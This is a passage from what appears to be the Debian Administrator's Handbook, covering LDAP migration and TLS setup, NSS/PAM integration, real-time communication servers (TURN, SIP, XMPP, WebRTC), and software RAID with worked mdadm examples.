objectClass: dcObject
objectClass: organization
o: Falcot Corp
dc: falcot
# admin, falcot.com
dn: cn=admin,dc=falcot,dc=com
objectClass: simpleSecurityObject
objectClass: organizationalRole
cn: admin
description: LDAP administrator
# search result
search: 2
result: 0 Success
# numResponses: 3
# numEntries: 2
The query returned two objects: the organization itself, and the administrative user.
Since an empty database is not particularly useful, we are going to inject into it all the existing directories; this includes the users, groups, services and hosts databases.
The migrationtools package provides a set of scripts dedicated to extract data from the standard Unix directories (/etc/passwd
, /etc/group
, /etc/services
, /etc/hosts
and so on), convert this data, and inject it into the LDAP database.
Once the package is installed, the /etc/migrationtools/migrate_common.ph
must be edited; the IGNORE_UID_BELOW
and IGNORE_GID_BELOW
options need to be enabled (uncommenting them is enough), and DEFAULT_MAIL_DOMAIN
/DEFAULT_BASE
need to be updated.
The actual migration operation is handled by the migrate_all_online.sh command, as follows:
#
cd /usr/share/migrationtools
#
LDAPADD="/usr/bin/ldapadd -c" ETC_ALIASES=/dev/null ./migrate_all_online.sh
The migrate_all_online.sh asks a few questions about the LDAP database into which the data is to be migrated. Tabel 11.1 summarizes the answers given in the Falcot use-case.
Tabel 11.1. Answers to questions asked by the migrate_all_online.sh script
Question | Answer |
---|---|
X.500 naming context | dc=falcot,dc=com |
LDAP server hostname | localhost |
Manager DN | cn=admin,dc=falcot,dc=com |
Bind credentials | the administrative password |
Create DUAConfigProfile | no |
We deliberately ignore migration of the /etc/aliases
file, since the standard schema as provided by Debian does not include the structures that this script uses to describe email aliases. Should we want to integrate this data into the directory, the /etc/ldap/schema/misc.schema
file should be added to the standard schema.
TOOL Browsing an LDAP directory
The jxplorer command (in the package of the same name) is a graphical tool allowing to browse and edit an LDAP database. It is an interesting tool that provides an administrator with a good overview of the hierarchical structure of the LDAP data.
Also note the use of the -c
option to the ldapadd command; this option requests that processing doesn't stop in case of error. Using this option is required because converting the /etc/services
often generates a few errors that can safely be ignored.
Now the LDAP database contains some useful information, the time has come to make use of this data. This section focuses on how to configure a Linux system so that the various system directories use the LDAP database.
The NSS system (Name Service Switch, see sidebar GOING FURTHER NSS and system databases) is a modular system designed to define or fetch information for system directories. Using LDAP as a source of data for NSS requires installing the libnss-ldap package. Its installation asks a few questions; the answers are summarized in Tabel 11.2.
Tabel 11.2. Configuring the libnss-ldap package
Question | Answer |
---|---|
LDAP server Uniform Resource Identifier | ldap://ldap.falcot.com |
Distinguished name of the search base | dc=falcot,dc=com |
LDAP version to use | 3 |
Does the LDAP database require login? | no |
Special LDAP privileges for root | yes |
Make the configuration file readable/writeable by its owner only | no |
LDAP account for root | cn=admin,dc=falcot,dc=com |
LDAP root account password | the administrative password |
The /etc/nsswitch.conf
file then needs to be modified, so as to configure NSS to use the freshly-installed ldap module.
Exemplu 11.26. The /etc/nsswitch.conf
file
The ldap module is usually inserted before others, and it will therefore be queried first. The notable exception is the hosts
service since contacting the LDAP server requires consulting DNS first (to resolve ldap.falcot.com
). Without this exception, a hostname query would try to ask the LDAP server; this would trigger a name resolution for the LDAP server, and so on in an infinite loop.
If the LDAP server should be considered authoritative (and the local files used by the files module disregarded), services can be configured with the following syntax:
. service
: ldap [NOTFOUND=return] files
If the requested entry does not exist in the LDAP database, the query will return a “not existing” reply even if the resource does exist in one of the local files; these local files will only be used when the LDAP service is down.
This section describes a PAM configuration (see sidebar BEHIND THE SCENES /etc/environment
and /etc/default/locale
) that will allow applications to perform the required authentications against the LDAP database.
CAUTION Broken authentication
Changing the standard PAM configuration used by various programs is a sensitive operation. A mistake can lead to broken authentication, which could prevent logging in. Keeping a root shell open is therefore a good precaution. If configuration errors occur, they can be then fixed and the services restarted with minimal effort.
The LDAP module for PAM is provided by the libpam-ldap package. Installing this package asks a few questions very similar to those in libnss-ldap; some configuration parameters (such as the URI for the LDAP server) are even actually shared with the libnss-ldap package. Answers are summarized in Tabel 11.3.
Tabel 11.3. Configuration of libpam-ldap
Question | Answer |
---|---|
Allow LDAP admin account to behave like local root? | Yes. This allows using the usual passwd command for changing passwords stored in the LDAP database. |
Does the LDAP database require logging in? | no |
LDAP account for root | cn=admin,dc=falcot,dc=com |
LDAP root account password | the LDAP database administrative password |
Local encryption algorithm to use for passwords | crypt |
Installing libpam-ldap automatically adapts the default PAM configuration defined in the /etc/pam.d/common-auth
, /etc/pam.d/common-password
and /etc/pam.d/common-account
files. This mechanism uses the dedicated pam-auth-update tool (provided by the libpam-runtime package). This tool can also be run by the administrator should they wish to enable or disable PAM modules.
By default, the LDAP protocol transits on the network as cleartext; this includes the (encrypted) passwords. Since the encrypted passwords can be extracted from the network, they can be vulnerable to dictionary-type attacks. This can be avoided by using an extra encryption layer; enabling this layer is the topic of this section.
The first step is to create a key pair (comprising a public key and a private key) for the LDAP server. The Falcot administrators reuse easy-rsa to generate it (see Secțiune 10.2.1.1, „Public Key Infrastructure: easy-rsa”). Running ./build-key-server ldap.falcot.com asks a few mundane questions (location, organization name and so on). The answer to the “common name” question must be the fully-qualified hostname for the LDAP server; in our case, ldap.falcot.com
.
This command creates a certificate in the keys/ldap.falcot.com.crt
file; the corresponding private key is stored in keys/ldap.falcot.com.key
.
Now these keys have to be installed in their standard location, and we must make sure that the private file is readable by the LDAP server which runs under the openldap
user identity:
#
adduser openldap ssl-cert
Adding user `openldap' to group `ssl-cert' ...
Adding user openldap to group ssl-cert
Done.
#
mv keys/ldap.falcot.com.key /etc/ssl/private/ldap.falcot.com.key
#
chown root:ssl-cert /etc/ssl/private/ldap.falcot.com.key
#
chmod 0640 /etc/ssl/private/ldap.falcot.com.key
#
mv newcert.pem /etc/ssl/certs/ldap.falcot.com.pem
The slapd daemon also needs to be told to use these keys for encryption. The LDAP server configuration is managed dynamically: the configuration can be updated with normal LDAP operations on the cn=config
object hierarchy, and the server updates /etc/ldap/slapd.d
in real time to make the configuration persistent. ldapmodify is thus the right tool to update the configuration:
Exemplu 11.27. Configuring slapd for encryption
#
cat >ssl.ldif <<END
dn: cn=config
changetype: modify
add: olcTLSCertificateFile
olcTLSCertificateFile: /etc/ssl/certs/ldap.falcot.com.pem
-
add: olcTLSCertificateKeyFile
olcTLSCertificateKeyFile: /etc/ssl/private/ldap.falcot.com.key
-
END
#
ldapmodify -Y EXTERNAL -H ldapi:/// -f ssl.ldif
SASL/EXTERNAL authentication started
SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
SASL SSF: 0
modifying entry "cn=config"
TOOL ldapvi to edit an LDAP directory
With ldapvi, you can display an LDIF output of any part of the LDAP directory, make some changes in the text editor, and let the tool do the corresponding LDAP operations for you.
It is thus a convenient way to update the configuration of the LDAP server, simply by editing the
cn=config
hierarchy.#
ldapvi -Y EXTERNAL -h ldapi:/// -b cn=config
The last step for enabling encryption involves changing the SLAPD_SERVICES
variable in the /etc/default/slapd
file. We'll play it safe and disable unsecured LDAP altogether.
Exemplu 11.28. The /etc/default/slapd
file
On the client side, the configuration for the libpam-ldap and libnss-ldap modules needs to be modified to use an ldaps://
URI.
LDAP clients also need to be able to authenticate the server. In a X.509 public key infrastructure, public certificates are signed by the key of a certificate authority (CA). With easy-rsa, the Falcot administrators have created their own CA and they now need to configure the system to trust the signatures of Falcot's CA. This can be done by putting the CA certificate in /usr/local/share/ca-certificates
and running update-ca-certificates.
#
cp keys/ca.crt /usr/local/share/ca-certificates/falcot.crt
#
update-ca-certificates
Updating certificates in /etc/ssl/certs... 1 added, 0 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Adding debian:falcot.pem
done.
done.
Last but not least, the default LDAP URI and default base DN used by the various command line tools can be modified in /etc/ldap/ldap.conf
. This will save quite some typing.
Exemplu 11.29. The /etc/ldap/ldap.conf
file
Real-Time Communication (RTC) services include voice, video/webcam, instant messaging (IM) and desktop sharing. This chapter gives a brief introduction to three of the services required to operate RTC, including a TURN server, SIP server and XMPP server. Comprehensive details of how to plan, install and manage these services are available in the Real-Time Communications Quick Start Guide which includes examples specific to Debian.
Both SIP and XMPP can provide the same functionality. SIP is slightly more well known for voice and video while XMPP is traditionally regarded as an IM protocol. In fact, they can both be used for any of these purposes. To maximize connectivity options, it is recommended to run both in parallel.
These services rely on X.509 certificates both for authentication and confidentiality purposes. See Secțiune 10.2.1.1, „Public Key Infrastructure: easy-rsa” for details on how to create them. Alternatively the Real-Time Communications Quick Start Guide also has some useful explanations:
RTC services require DNS SRV and NAPTR records. A sample configuration that can be placed in the zone file for falcot.com
:
TURN is a service that helps clients behind NAT routers and firewalls to discover the most efficient way to communicate with other clients and to relay the media streams if no direct media path can be found. It is highly recommended that the TURN server is installed before any of the other RTC services are offered to end users.
TURN and the related ICE protocol are open standards. To benefit from these protocols, maximizing connectivity and minimizing user frustration, it is important to ensure that all client software supports ICE and TURN.
For the ICE algorithm to work effectively, the server must have two public IPv4 addresses.
Install the resiprocate-turn-server package.
Edit the /etc/reTurn/reTurnServer.config
configuration file. The most important thing to do is insert the IP addresses of the server.
Restart the service.
Use the htdigest utility to manage the TURN server user list.
#
htdigest /etc/reTurn/users.txt myrealm joe
Use the HUP signal to make the server reload the /etc/reTurn/users.txt
file after changing it or enable the automatic reload feature in /etc/reTurn/reTurnServer.config
.
A SIP proxy server manages the incoming and outgoing SIP connections between other organizations, SIP trunking providers, SIP PBXes such as Asterisk, SIP phones, SIP-based softphones and WebRTC applications.
It is strongly recommended to install and configure the SIP proxy before attempting a SIP PBX setup. The SIP proxy normalizes a lot of the traffic reaching the PBX and provides greater connectivity and resilience.
Install the repro package. Using the package from jessie-backports is highly recommended, as it has the latest improvements for maximizing connectivity and resilience.
Edit the /etc/repro/repro.config
configuration file. The most important thing to do is insert the IP addresses of the server. The example below demonstrates how to setup both regular SIP and WebSockets/WebRTC, using TLS, IPv4 and IPv6:
Use the htdigest utility to manage the admin password for the web interface. The username must be admin and the realm name must match the value specified in repro.config
.
#
htdigest /etc/repro/users.txt repro admin
Restart the service to use the new configuration.
Go to the web interface at http://sip-proxy.falcot.com:5080
to complete the configuration by adding domains, local users and static routes.
The first step is to add the local domain. The process must be restarted after adding or removing domains from the list.
The proxy knows how to route calls between local users and full SIP address, the routing configuration is only necessary for overriding default behavior, for example, to recognize phone numbers, add a prefix and route them to a SIP provider.
An XMPP server manages connectivity between local XMPP users and XMPP users in other domains on the public Internet.
VOCABULARY XMPP or Jabber?
XMPP is sometimes referred to as Jabber. In fact, Jabber is a trademark and XMPP is the official name of the standard.
Prosody is a popular XMPP server that operates reliably on Debian servers.
Install the prosody package. Using the package from jessie-backports is highly recommended, as it has the latest improvements for maximizing connectivity and resilience.
Review the /etc/prosody/prosody.cfg.lua
configuration file. The most important thing to do is insert JIDs of the users who are permitted to manage the server.
An individual configuration file is also needed for each domain. Copy the sample from /etc/prosody/conf.avail/example.com.cfg.lua
and use it as a starting point. Here is falcot.com.cfg.lua
:
To enable the domain, there must be a symlink from /etc/prosody/conf.d/
. Create it that way:
#
ln -s /etc/prosody/conf.avail/falcot.com.cfg.lua /etc/prosody/conf.d/
Restart the service to use the new configuration.
Some management operations can be performed using the prosodyctl
command line utility. For example, to add the administrator account specified in /etc/prosody/prosody.cfg.lua
:
See the Prosody online documentation for more details about how to customize the configuration.
Some administrators prefer to run all of their RTC services on port 443. This helps users to connect from remote locations such as hotels and airports where other ports may be blocked or Internet traffic is routed through HTTP proxy servers.
To use this strategy, each service (SIP, XMPP and TURN) needs a different IP address. All the services can still be on the same host as Linux supports multiple IP addresses on a single host. The port number, 443, must be specified in the configuration files for each process and also in the DNS SRV records.
Falcot wants to let customers make phone calls directly from the web site. The Falcot administrators also want to use WebRTC as part of their disaster recovery plan, so staff can use web browsers at home to log in to the company phone system and work normally in an emergency.
IN PRACTICE Try WebRTC
If you have not tried WebRTC before, there are various sites that give an online demonstration and test facilities.
WebRTC is a rapidly evolving technology and it is essential to use packages from the jessie-backports or Testing distributions.
JSCommunicator is a generic, unbranded WebRTC phone that does not require any server-side scripting such as PHP. It is built exclusively with HTML, CSS and JavaScript. It is the basis for many other WebRTC services and modules for more advanced web publishing frameworks.
The package jscommunicator-web-phone is the quickest way to install a WebRTC phone into a web site. It requires a SIP proxy with a WebSocket transport. The instructions in Secțiune 11.8.3.1, „Install the SIP proxy” include the necessary details to enable the WebSocket transport in the repro SIP proxy.
After installing jscommunicator-web-phone, there are various ways to use it. A simple strategy is to include or copy the configuration from /etc/jscommunicator-web-phone/apache.conf
into an Apache virtual host configuration.
Once the web-phone files are available in the web server, customize the /etc/jscommunicator-web-phone/config.js
to point at the TURN server and SIP proxy. For example:
More advanced click-to-call web sites typically use server-side scripting to generate the config.js
file dynamically. The DruCall source code demonstrates how to do this with PHP.
This chapter sampled only a fraction of the available server software; however, most of the common network services were described. Now it is time for an even more technical chapter: we'll go into deeper detail for some concepts, describe massive deployments and virtualization.
This chapter revisits some aspects we already described, with a different perspective: instead of installing one single computer, we will study mass-deployment systems; instead of creating RAID or LVM volumes at install time, we'll learn to do it by hand so we can later revise our initial choices. Finally, we will discuss monitoring tools and virtualization techniques. As a consequence, this chapter is more particularly targeting professional administrators, and focuses somewhat less on individuals responsible for their home network.
Cap. 4, Instalare presented these technologies from the point of view of the installer, and how it integrated them to make their deployment easy from the start. After the initial installation, an administrator must be able to handle evolving storage space needs without having to resort to an expensive reinstallation. They must therefore understand the required tools for manipulating RAID and LVM volumes.
RAID and LVM are both techniques to abstract the mounted volumes from their physical counterparts (actual hard-disk drives or partitions thereof); the former secures the data against hardware failure by introducing redundancy, the latter makes volume management more flexible and independent of the actual size of the underlying disks. In both cases, the system ends up with new block devices, which can be used to create filesystems or swap space, without necessarily having them mapped to one physical disk. RAID and LVM come from quite different backgrounds, but their functionality can overlap somewhat, which is why they are often mentioned together.
PERSPECTIVE Btrfs combines LVM and RAID
While LVM and RAID are two distinct kernel subsystems that come between the disk block devices and their filesystems, btrfs is a new filesystem, initially developed at Oracle, that purports to combine the featuresets of LVM and RAID and much more. It is mostly functional, and although it is still tagged “experimental” because its development is incomplete (some features aren't implemented yet), it has already seen some use in production environments.
Among the noteworthy features are the ability to take a snapshot of a filesystem tree at any point in time. This snapshot copy doesn't initially use any disk space, the data only being duplicated when one of the copies is modified. The filesystem also handles transparent compression of files, and checksums ensure the integrity of all stored data.
In both the RAID and LVM cases, the kernel provides a block device file, similar to the ones corresponding to a hard disk drive or a partition. When an application, or another part of the kernel, requires access to a block of such a device, the appropriate subsystem routes the block to the relevant physical layer. Depending on the configuration, this block can be stored on one or several physical disks, and its physical location may not be directly correlated to the location of the block in the logical device.
RAID means Redundant Array of Independent Disks. The goal of this system is to prevent data loss in case of hard disk failure. The general principle is quite simple: data are stored on several physical disks instead of only one, with a configurable level of redundancy. Depending on this amount of redundancy, and even in the event of an unexpected disk failure, data can be losslessly reconstructed from the remaining disks.
CULTURE Independent or inexpensive?
The I in RAID initially stood for inexpensive, because RAID allowed a drastic increase in data safety without requiring investing in expensive high-end disks. Probably due to image concerns, however, it is now more customarily considered to stand for independent, which doesn't have the unsavory flavour of cheapness.
RAID can be implemented either by dedicated hardware (RAID modules integrated into SCSI or SATA controller cards) or by software abstraction (the kernel). Whether hardware or software, a RAID system with enough redundancy can transparently stay operational when a disk fails; the upper layers of the stack (applications) can even keep accessing the data in spite of the failure. Of course, this “degraded mode” can have an impact on performance, and redundancy is reduced, so a further disk failure can lead to data loss. In practice, therefore, one will strive to only stay in this degraded mode for as long as it takes to replace the failed disk. Once the new disk is in place, the RAID system can reconstruct the required data so as to return to a safe mode. The applications won't notice anything, apart from potentially reduced access speed, while the array is in degraded mode or during the reconstruction phase.
When RAID is implemented by hardware, its configuration generally happens within the BIOS setup tool, and the kernel will consider a RAID array as a single disk, which will work as a standard physical disk, although the device name may be different (depending on the driver).
We only focus on software RAID in this book.
RAID is actually not a single system, but a range of systems identified by their levels; the levels differ by their layout and the amount of redundancy they provide. The more redundant, the more failure-proof, since the system will be able to keep working with more failed disks. The counterpart is that the usable space shrinks for a given set of disks; seen the other way, more disks will be needed to store a given amount of data.
Even though the kernel's RAID subsystem allows creating “linear RAID”, this is not proper RAID, since this setup doesn't involve any redundancy. The kernel merely aggregates several disks end-to-end and provides the resulting aggregated volume as one virtual disk (one block device). That's about its only function. This setup is rarely used by itself (see later for the exceptions), especially since the lack of redundancy means that one disk failing makes the whole aggregate, and therefore all the data, unavailable.
This level doesn't provide any redundancy either, but disks aren't simply stuck on end one after another: they are divided in stripes, and the blocks on the virtual device are stored on stripes on alternating physical disks. In a two-disk RAID-0 setup, for instance, even-numbered blocks of the virtual device will be stored on the first physical disk, while odd-numbered blocks will end up on the second physical disk.
This system doesn't aim at increasing reliability, since (as in the linear case) the availability of all the data is jeopardized as soon as one disk fails, but at increasing performance: during sequential access to large amounts of contiguous data, the kernel will be able to read from both disks (or write to them) in parallel, which increases the data transfer rate. However, RAID-0 use is shrinking, its niche being filled by LVM (see later).
This level, also known as “RAID mirroring”, is both the simplest and the most widely used setup. In its standard form, it uses two physical disks of the same size, and provides a logical volume of the same size again. Data are stored identically on both disks, hence the “mirror” nickname. When one disk fails, the data is still available on the other. For really critical data, RAID-1 can of course be set up on more than two disks, with a direct impact on the ratio of hardware cost versus available payload space.
NOTE Disks and cluster sizes
If two disks of different sizes are set up in a mirror, the bigger one will not be fully used, since it will contain the same data as the smallest one and nothing more. The useful available space provided by a RAID-1 volume therefore matches the size of the smallest disk in the array. This still holds for RAID volumes with a higher RAID level, even though redundancy is stored differently.
It is therefore important, when setting up RAID arrays (except for RAID-0 and “linear RAID”), to only assemble disks of identical, or very close, sizes, to avoid wasting resources.
NOTE Spare disks
RAID levels that include redundancy allow assigning more disks than required to an array. The extra disks are used as spares when one of the main disks fails. For instance, in a mirror of two disks plus one spare, if one of the first two disks fails, the kernel will automatically (and immediately) reconstruct the mirror using the spare disk, so that redundancy stays assured after the reconstruction time. This can be used as another kind of safeguard for critical data.
One would be forgiven for wondering how this is better than simply mirroring on three disks to start with. The advantage of the “spare disk” configuration is that the spare disk can be shared across several RAID volumes. For instance, one can have three mirrored volumes, with redundancy assured even in the event of one disk failure, with only seven disks (three pairs, plus one shared spare), instead of the nine disks that would be required by three triplets.
This RAID level, although expensive (since only half of the physical storage space, at best, is useful), is widely used in practice. It is simple to understand, and it allows very simple backups: since both disks have identical contents, one of them can be temporarily extracted with no impact on the working system. Read performance is often increased since the kernel can read half of the data on each disk in parallel, while write performance isn't too severely degraded. In case of a RAID-1 array of N disks, the data stays available even with N-1 disk failures.
This RAID level, not widely used, uses N disks to store useful data, and an extra disk to store redundancy information. If that disk fails, the system can reconstruct its contents from the other N. If one of the N data disks fails, the remaining N-1 combined with the “parity” disk contain enough information to reconstruct the required data.
RAID-4 isn't too expensive since it only involves a one-in-N increase in costs and has no noticeable impact on read performance, but writes are slowed down. Furthermore, since a write to any of the N disks also involves a write to the parity disk, the latter sees many more writes than the former, and its lifespan can shorten dramatically as a consequence. Data on a RAID-4 array is safe only up to one failed disk (of the N+1).
RAID-5 addresses the asymmetry issue of RAID-4: parity blocks are spread over all of the N+1 disks, with no single disk having a particular role.
Read and write performance are identical to RAID-4. Here again, the system stays functional with up to one failed disk (of the N+1), but no more.
RAID-6 can be considered an extension of RAID-5, where each series of N blocks involves two redundancy blocks, and each such series of N+2 blocks is spread over N+2 disks.
This RAID level is slightly more expensive than the previous two, but it brings some extra safety since up to two drives (of the N+2) can fail without compromising data availability. The counterpart is that write operations now involve writing one data block and two redundancy blocks, which makes them even slower.
This isn't strictly speaking, a RAID level, but a stacking of two RAID groupings. Starting from 2×N disks, one first sets them up by pairs into N RAID-1 volumes; these N volumes are then aggregated into one, either by “linear RAID” or (increasingly) by LVM. This last case goes farther than pure RAID, but there's no problem with that.
RAID-1+0 can survive multiple disk failures: up to N in the 2×N array described above, provided that at least one disk keeps working in each of the RAID-1 pairs.
GOING FURTHER RAID-10
RAID-10 is generally considered a synonym of RAID-1+0, but a Linux specificity makes it actually a generalization. This setup allows a system where each block is stored on two different disks, even with an odd number of disks, the copies being spread out along a configurable model.
Performances will vary depending on the chosen repartition model and redundancy level, and of the workload of the logical volume.
Obviously, the RAID level will be chosen according to the constraints and requirements of each application. Note that a single computer can have several distinct RAID arrays with different configurations.
Setting up RAID volumes requires the mdadm package; it provides the mdadm command, which allows creating and manipulating RAID arrays, as well as scripts and tools integrating it to the rest of the system, including the monitoring system.
Our example will be a server with a number of disks, some of which are already used, the rest being available to setup RAID. We initially have the following disks and partitions:
sdb
disk, 4 GB, is entirely available; sdc
disk, 4 GB, is also entirely available; sdd
disk, only partition sdd2
(about 4 GB) is available; sde
disk, still 4 GB, entirely available. NOTE Identifying existing RAID volumes
The
/proc/mdstat
file lists existing volumes and their states. When creating a new RAID volume, care should be taken not to name it the same as an existing volume.
We're going to use these physical elements to build two volumes, one RAID-0 and one mirror (RAID-1). Let's start with the RAID-0 volume:
#
mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sdb /dev/sdc
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md0 started.
#
mdadm --query /dev/md0
/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.
#
mdadm --detail /dev/md0
/dev/md0:
Version : 1.2
Creation Time : Wed May 6 09:24:34 2015
Raid Level : raid0
Array Size : 8387584 (8.00 GiB 8.59 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent
Update Time : Wed May 6 09:24:34 2015
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0
Chunk Size : 512K
Name : mirwiz:0 (local to host mirwiz)
UUID : bb085b35:28e821bd:20d697c9:650152bb
Events : 0
Number Major Minor RaidDevice State
0 8 16 0 active sync /dev/sdb
1 8 32 1 active sync /dev/sdc
#
mkfs.ext4 /dev/md0
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 2095104 4k blocks and 524288 inodes
Filesystem UUID: fff08295-bede-41a9-9c6a-8c7580e520a6
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632
Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
#
mkdir /srv/raid-0
#
mount /dev/md0 /srv/raid-0
#
df -h /srv/raid-0
Filesystem Size Used Avail Use% Mounted on
/dev/md0 7.9G 18M 7.4G 1% /srv/raid-0
The mdadm --create command requires several parameters: the name of the volume to create (/dev/md*
, with MD standing for Multiple Device), the RAID level, the number of disks (which is compulsory despite being mostly meaningful only with RAID-1 and above), and the physical drives to use. Once the device is created, we can use it like we'd use a normal partition, create a filesystem on it, mount that filesystem, and so on. Note that our creation of a RAID-0 volume on md0
is nothing but coincidence, and the numbering of the array doesn't need to be correlated to the chosen amount of redundancy. It's also possible to create named RAID arrays, by giving mdadm parameters such as /dev/md/linear
instead of /dev/md0
.
Creation of a RAID-1 follows a similar fashion, the differences only being noticeable after the creation:
#
mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdd2 /dev/sde
mdadm: Note: this array has metadata at the start and
may not be suitable as a boot device. If you plan to
store '/boot' on this device please ensure that
your boot-loader understands md/v1.x metadata, or use
--metadata=0.90
mdadm: largest drive (/dev/sdd2) exceeds size (4192192K) by more than 1%
Continue creating array?
y
mdadm: Defaulting to version 1.2 metadata
mdadm: array /dev/md1 started.
#
mdadm --query /dev/md1
/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.
#
mdadm --detail /dev/md1
/dev/md1:
Version : 1.2
Creation Time : Wed May 6 09:30:19 2015
Raid Level : raid1
Array Size : 4192192 (4.00 GiB 4.29 GB)
Used Dev Size : 4192192 (4.00 GiB 4.29 GB)
Raid Devices : 2
Total Devices : 2
Persistence : Superblock is persistent
Update Time : Wed May 6 09:30:40 2015
State : clean, resyncing (PENDING)
Active Devices : 2
Working Devices : 2
Failed Devices : 0
Spare Devices : 0
Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 0
Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
1 8 64 1 active sync /dev/sde
#
mdadm --detail /dev/md1
/dev/md1:
[...]
State : clean
[...]
TIP RAID, disks and partitions
As illustrated by our example, RAID devices can be constructed out of disk partitions, and do not require full disks.
A few remarks are in order. First, mdadm notices that the physical elements have different sizes; since this implies that some space will be lost on the bigger element, a confirmation is required.
More importantly, note the state of the mirror. The normal state of a RAID mirror is that both disks have exactly the same contents. However, nothing guarantees this is the case when the volume is first created. The RAID subsystem will therefore provide that guarantee itself, and there will be a synchronization phase as soon as the RAID device is created. After some time (the exact amount will depend on the actual size of the disks…), the RAID array switches to the “active” or “clean” state. Note that during this reconstruction phase, the mirror is in a degraded mode, and redundancy isn't assured. A disk failing during that risk window could lead to losing all the data. Large amounts of critical data, however, are rarely stored on a freshly created RAID array before its initial synchronization. Note that even in degraded mode, the /dev/md1
is usable, and a filesystem can be created on it, as well as some data copied on it.
TIP Starting a mirror in degraded mode
Sometimes two disks are not immediately available when one wants to start a RAID-1 mirror, for instance because one of the disks one plans to include is already used to store the data one wants to move to the array. In such circumstances, it is possible to deliberately create a degraded RAID-1 array by passing
missing
instead of a device file as one of the arguments to mdadm. Once the data have been copied to the “mirror”, the old disk can be added to the array. A synchronization will then take place, giving us the redundancy that was wanted in the first place.
TIP Setting up a mirror without synchronization
RAID-1 volumes are often created to be used as a new disk, often considered blank. The actual initial contents of the disk is therefore not very relevant, since one only needs to know that the data written after the creation of the volume, in particular the filesystem, can be accessed later.
One might therefore wonder about the point of synchronizing both disks at creation time. Why care whether the contents are identical on zones of the volume that we know will only be read after we have written to them?
Fortunately, this synchronization phase can be avoided by passing the
--assume-clean
option to mdadm. However, this option can lead to surprises in cases where the initial data will be read (for instance if a filesystem is already present on the physical disks), which is why it isn't enabled by default.
Now let's see what happens when one of the elements of the RAID-1 array fails. mdadm, in particular its --fail
option, allows simulating such a disk failure:
#
mdadm /dev/md1 --fail /dev/sde
mdadm: set /dev/sde faulty in /dev/md1
#
mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Wed May 6 09:39:39 2015
State : clean, degraded
Active Devices : 1
Working Devices : 1
Failed Devices : 1
Spare Devices : 0
Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 19
Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 0 0 2 removed
1 8 64 - faulty /dev/sde
The contents of the volume are still accessible (and, if it is mounted, the applications don't notice a thing), but the data safety isn't assured anymore: should the sdd
disk fail in turn, the data would be lost. We want to avoid that risk, so we'll replace the failed disk with a new one, sdf
:
#
mdadm /dev/md1 --add /dev/sdf
mdadm: added /dev/sdf
#
mdadm --detail /dev/md1
/dev/md1:
[...]
Raid Devices : 2
Total Devices : 3
Persistence : Superblock is persistent
Update Time : Wed May 6 09:48:49 2015
State : clean, degraded, recovering
Active Devices : 1
Working Devices : 2
Failed Devices : 1
Spare Devices : 1
Rebuild Status : 28% complete
Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 26
Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 8 80 1 spare rebuilding /dev/sdf
1 8 64 - faulty /dev/sde
#
[...]
[...]
#
mdadm --detail /dev/md1
/dev/md1:
[...]
Update Time : Wed May 6 09:49:08 2015
State : clean
Active Devices : 2
Working Devices : 2
Failed Devices : 1
Spare Devices : 0
Name : mirwiz:1 (local to host mirwiz)
UUID : 6ec558ca:0c2c04a0:19bca283:95f67464
Events : 41
Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 8 80 1 active sync /dev/sdf
1 8 64 - faulty /dev/sde
Here again, the kernel automatically triggers a reconstruction phase during which the volume, although still accessible, is in a degraded mode. Once the reconstruction is over, the RAID array is back to a normal state. One can then tell the system that the sde
disk is about to be removed from the array, so as to end up with a classical RAID mirror on two disks:
#
mdadm /dev/md1 --remove /dev/sde
mdadm: hot removed /dev/sde from /dev/md1
#
mdadm --detail /dev/md1
/dev/md1:
[...]
Number Major Minor RaidDevice State
0 8 50 0 active sync /dev/sdd2
2 8 80 1 active sync /dev/sdf
From then on, the drive can be physically removed when the server is next switched off, or even hot-removed when the hardware configuration allows hot-swap. Such configurations include some SCSI controllers, most SATA disks, and external drives operating on USB or Firewire.
Most of the meta-data concerning RAID volumes are saved directly on the disks that make up these arrays, so that the kernel can detect the arrays and their components and assemble them automatically when the system starts up. However, backing up this configuration is encouraged, because this detection isn't fail-proof, and it is only expected that it will fail precisely in sensitive circumstances. In our example, if the sde
disk failure had been real (instead of simulated) and the system had been restarted without removing this sde
disk, this disk could start working again due to having been probed during the reboot. The kernel would then have three physical elements, each claiming to contain half of the same RAID volume. Another source of confusion can come when RAID volumes from two servers are consolidated onto one server only. If these arrays were running normally before the disks were moved, the kernel would be able to detect and reassemble the pairs properly; but if the moved disks had been aggregated into an md1
on the old server, and the new server already has an md1
, one of the mirrors would be renamed.
Backing up the configuration is therefore important, if only for reference. The standard way to do it is by editing the /etc/mdadm/mdadm.conf
file, an example of which is listed here:
Exemplu 12.1. mdadm configuration file
One of the most useful details is the DEVICE
option, which lists the devices where the system will automatically look for components of RAID volumes at start-up time. In our example, we replaced the default value, partitions containers
, with an explicit list of device files, since we chose to use entire disks and not only partitions, for some volumes.
The last two lines in our example are those allowing the kernel to safely pick which volume number to assign to which array. The metadata stored on the disks themselves are enough to re-assemble the volumes, but not to determine the volume number (and the matching /dev/md*
device name).
Fortunately, these lines can be generated automatically:
#
mdadm --misc --detail --brief /dev/md?
ARRAY /dev/md0 metadata=1.2 name=mirwiz:0 UUID=bb085b35:28e821bd:20d697c9:650152bb
